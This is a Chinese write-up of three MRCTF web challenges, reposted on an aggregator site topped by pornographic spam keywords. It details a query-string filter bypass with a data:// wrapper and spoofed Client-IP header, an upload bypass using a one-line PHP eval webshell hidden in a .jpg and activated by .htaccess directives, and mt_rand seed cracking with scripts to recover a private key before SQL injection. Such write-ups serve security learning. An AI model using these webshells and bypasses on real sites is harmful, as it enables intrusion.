日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【MRCTF—Web】做题+复现记录

發布時間:2024/9/30 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【MRCTF—Web】做题+复现记录 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

套娃

——偽協議、加密、Bypass

查看源碼發現這一串代碼,

substr_count() 函數計算子串在字符串中出現的次數 $_SERVER['QUERY_STRING'] 例如: http://localhost/aaa/index.php?p=222&q=333 結果: $_SERVER['QUERY_STRING'] = "p=222&q=333";

想繞過去就必須滿足我們傳入的參數沒有_,而且得通過下面代碼的匹配,這里就會有一個矛盾,GET傳入參數的是b_u_p_t,含有這個_,如何先將這個繞過,后面的繞過正則只需要%0a截斷就可以,查了百度,發現可以使用.來代替這個符號,所以payload為:

?b.u.p.t=23333%0a


出現下一關

發現需要Local access,所以應該是需要修改XFF的,而且查看源碼發現

直接在控制臺執行

POST進去一個Merak,傳入參數之后就可以看到源碼

仔細分析一下代碼會發現,那個change函數就是分割一下字符繼續往上加密的,如果我們file傳入的是flag.php,那么最后呈現的絕對不是這個文件了,所以我們需要對這個函數進行一下改動讓輸出的字符最后變成flag.php,這也很簡單

只需把這個函數的+號變成-號,將base64解碼去掉即可,這樣的話file_get_contents這個函數便可以把這個flag.php給顯示出來了,那下面就繞過這個就可以了

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )


還要注意的是XFF給過濾了,使用Client-ip即可

總結:

除此之外,看了師傅的博客,發現第一層繞過還可以使用來這些來進行繞過

%5F b.u.p.t(點代替_) b u p t(空格代替_)

還有就是$_SERVER[‘QUERY_STRING’]不會urldecode,所以一般套路是可以URL編碼進行繞過。

除了上面的使用php://input,對于file_get_contents()用data://偽協議也可以繞過

?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

你傳你🐎呢

——文件上傳

這個題當時做的時候快把這個上傳方法試一遍,最后才發現是哪的問題

上傳任何帶php后綴的都會被ban掉,隨便查看一下報錯頁面

是Apache,所以可以嘗試使用圖片馬,利用.htaccess文件進行解析即可

上傳帶jpg后綴的圖片馬,發現上傳成功

再來上傳.htaccess文件,這里記得要改下Content-Type,上面測試了圖片可以繞過就改成image/jpeg,否則是繞不過去的

最后連接在根目錄下找flag即可

總結:

補充一下上傳姿勢和.htaccess 文件上傳

#上傳姿勢 添加gif89a的頭 <script language=”php”> php2,php3、php4、php5、phtml、phtm代替php后綴 傳.htaccess 截斷上傳#.htaccess文件上傳 #方法一: # FileMatch 參數即為文件名的正則匹配 <FilesMatch "1.jpg">SetHandler application/x-httpd-php </FilesMatch> // 1.jpg <?php eval($_GET['a']);?> #方法二: AddType application/x-httpd-php .jpg // 1.jpg <?php eval($_GET['a']);?>

Ezaudit

——源碼泄露、偽隨機數

題目涉及到審計,就直接去掃源碼,一般都是有的


也很簡單,只要得到私鑰,在密碼處SQL注入即可得到flag,源碼中也給出了公鑰

源碼用到了函數mt_rand(),這個函數在種子相同的時候,給出的隨機數序列是一樣的,所以只要知道了種子,該函數的隨機數便可以預測。

所以下面就是爆破種子,先要將公鑰生成的15個隨機數轉換成php_mt_seed工具的Input格式

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)):for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break print res

這里要注意,str1字符串的順序要和給定的順序保持一致才行

否則是爆破不出來的

爆出了隨機種子1775196155,接下來就寫一下PHP腳本來求出私鑰

<?php #注意爆出種子的PHP版本 mt_srand(1775196155); $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; $length=12; for ( $i = 0; $i < $length; $i++ ){$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); } echo $private_key;

求得私鑰XuNhoueCDCGc,掃一下發現是有login.php頁面的

傳進去構造簡單的SQL注入即可

總結

隨機數的題目套路也很簡單,就是利用工具即可,但注意在輸出格式的時候字符串的順序還有得到種子是PHP那個版本的,如果是PHP5版本的用7跑則跑不出來想要的結果,如果沒爆出版本,都試試就可以了!

總結

以上是生活随笔為你收集整理的【MRCTF—Web】做题+复现记录的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。